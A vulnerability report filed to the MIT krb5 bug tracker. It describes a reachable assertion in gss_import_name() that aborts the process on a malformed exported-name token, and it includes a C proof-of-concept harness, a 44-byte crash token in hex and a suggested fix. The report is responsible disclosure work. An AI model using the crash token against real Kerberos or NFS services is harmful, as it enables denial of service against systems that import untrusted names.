From rt-comment at krbdev.mit.edu Mon Jun 1 08:54:43 2026 From: rt-comment at krbdev.mit.edu (Ze Sheng via RT) Date: Mon, 01 Jun 2026 08:54:43 -0400 Subject: [krbdev.mit.edu #9217] [krb5] Reachable assert(cp == end) in gss_import_name() aborts on a malformed exported-name token (CWE-617 DoS) In-Reply-To: References: Message-ID: Mon Jun 01 08:54:42 2026: Request 9217 was acted upon. Transaction: Ticket created by zesheng at tamu.edu Queue: krb5 Subject: [krb5] Reachable assert(cp == end) in gss_import_name() aborts on a malformed exported-name token (CWE-617 DoS) Owner: Nobody Requestors: zesheng at tamu.edu Status: new Ticket Hi krb5, Reporting a reachable assertion in the krb5 GSS mechanism: a malformed GSS_C_NT_EXPORT_NAME token fed to gss_import_name() aborts the process via assert(cp == end) in import_name(). It is memory-safe (bounds-checked; not an overflow), but since krb5 keeps assertions in release builds, the abort is reachable in production -- I reproduced it against the stock Ubuntu MIT krb5 1.19.2 library with a single gss_import_name() call (below). Full write-up and a self-contained PoC follow. -------------------------------------------------------------------------------- ## Summary `gss_import_name()` with `GSS_C_NT_EXPORT_NAME` (or `GSS_C_NT_COMPOSITE_EXPORT`) aborts the process via `assert(cp == end)` in the krb5 mech's `import_name()` when the supplied exported-name token declares a name length that leaves trailing bytes unconsumed. The assertion is used to validate **attacker-supplied** length framing, so a malformed token reaches `abort()` (SIGABRT) ? a denial of service in any application that imports untrusted exported names. It is memory-safe (no out-of-bounds access, no corruption): every buffer access is bounds-checked, and the assert is purely a length-consistency check. But MIT krb5 does not compile out assertions (no `-DNDEBUG` in the build), and shipped distribution libraries keep them, so the abort is reachable in production builds. ## Affected - Component: `src/lib/gssapi/krb5/import_name.c` ? `krb5_gss_import_name()` / `import_name()`, the `assert(cp == end)`. - Verified on: current `master` (`cf20efe`, assert at `import_name.c:300`) AND the system MIT krb5 **release 1.19.2** (`import_name.c:303`). The code and assert are long-standing (introduced 2009 with the GSS naming extensions). - Build note: MIT krb5's build system defines `NDEBUG` nowhere (`grep -rn DNDEBUG src/` is empty), so assertions are live in normal release builds; distro `libgssapi_krb5` ships with the assert compiled in. ## Root cause `import_name()` copies the token into `tmp`, sets `cp`/`end`, validates the TOK_ID and mech OID, then reads a 4-byte big-endian, attacker-controlled name length and copies that many bytes ? after which it asserts the cursor reached the end of the buffer: ```c /* src/lib/gssapi/krb5/import_name.c (HEAD cf20efe) */ 235 cp = (unsigned char *)tmp; 236 end = cp + input_name_buffer->length; ... 270 BOUNDS_CHECK(cp, end, 4); 271 length = *cp++; 272 length = (length << 8) | *cp++; 273 length = (length << 8) | *cp++; 274 length = (length << 8) | *cp++; // attacker-controlled name length 276 BOUNDS_CHECK(cp, end, length); // ensures cp does not pass end 277 tmp2 = k5alloc(length + 1, &code); ... 281 tmp2[length] = 0; // stringrep is independently NUL-terminated 283 cp += length; ... 300 assert(cp == end); // <-- fires when the buffer has trailing bytes ``` `BOUNDS_CHECK` guarantees `cp` never advances past `end`, but it does **not** require the buffer to be exactly the declared length. If the token carries MORE bytes than the name length consumes (trailing data after the name, or the composite block), `cp` lands short of `end`, `cp != end`, and `assert()` aborts. After the assert the code only uses `stringrep` (the separately-terminated copy); `cp`/`end` are never referenced again. So with assertions disabled the same input is a benign misparse (the trailing bytes are ignored) ? no memory-safety impact. The bug is solely the reachable `abort()`. ## Proof of concept A single public `gss_import_name()` call ? exactly how an application re-imports an exported name ? on a 44-byte malformed token, linked against the system MIT krb5, aborts: ```c /* import_name_poc.c ? build: * clang -g import_name_poc.c $(pkg-config --cflags --libs krb5-gssapi) -o import_name_poc * run: ./import_name_poc crash_input */ #include #include #include int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "crash_input"; FILE *f = fopen(path, "rb"); if (!f) { perror("fopen"); return 2; } static unsigned char buf[4096]; size_t n = fread(buf, 1, sizeof(buf), f); fclose(f); OM_uint32 major, minor; gss_buffer_desc in = { n, buf }; gss_name_t out = GSS_C_NO_NAME; major = gss_import_name(&minor, &in, GSS_C_NT_EXPORT_NAME, &out); if (major == GSS_S_COMPLETE) gss_release_name(&minor, &out); return 0; } ``` The 44-byte token (`crash_input`, hex): an exported-name blob with the krb5 mech OID `1.2.840.113554.1.2.2`, a name-length field of `0x0000000a`, then a name followed by extra trailing bytes so `cp != end`: ``` 04 01 00 0b 06 09 2a 86 48 86 f7 12 01 02 02 00 00 00 0a 75 73 65 72 40 52 45 41 0b 06 09 2a 86 48 86 f7 12 01 02 02 00 00 00 4c 4d ``` **Output (system MIT krb5 1.19.2):** ``` import_name_poc: .../src/lib/gssapi/krb5/import_name.c:303: krb5_gss_import_name: Assertion `cp == end' failed. Aborted (SIGABRT) ``` ## Impact | Aspect | Details | |--------|---------| | **Type** | Reachable assertion -> `abort()` (denial of service) | | **Severity** | Low?medium (process crash on untrusted exported-name input) | | **Attack surface** | Apps importing exported names from untrusted sources (ACL/authorization-name comparison, RPCSEC_GSS, NFS/Kerberos services, gss_export_name round-trips) | | **Memory safety** | Safe ? bounds-checked; not an overflow. Pure CWE-617 reachable assertion. | | **Build dependence** | Live in normal release builds (krb5 does not define NDEBUG); distro libs ship it | | **CWE** | CWE-617 (Reachable Assertion) | ## Suggested fix Replace the assertion with the function's existing error handling, so a malformed token returns `GSS_S_BAD_NAME` instead of aborting: ```c - assert(cp == end); + if (cp != end) + goto fail_name; /* returns GSS_S_BAD_NAME, like the other checks */ ``` ## Credit Aisle Research (Ze Sheng, Dmitrijs Trizna, Luigino Camastra, Guido Vranken). -------------------------------------------------------------------------------- Happy to send a patch (assert -> goto fail_name) if useful. Thanks! Best regards, Ze Sheng Aisle Research (Ze Sheng, Dmitrijs Trizna, Luigino Camastra, Guido Vranken)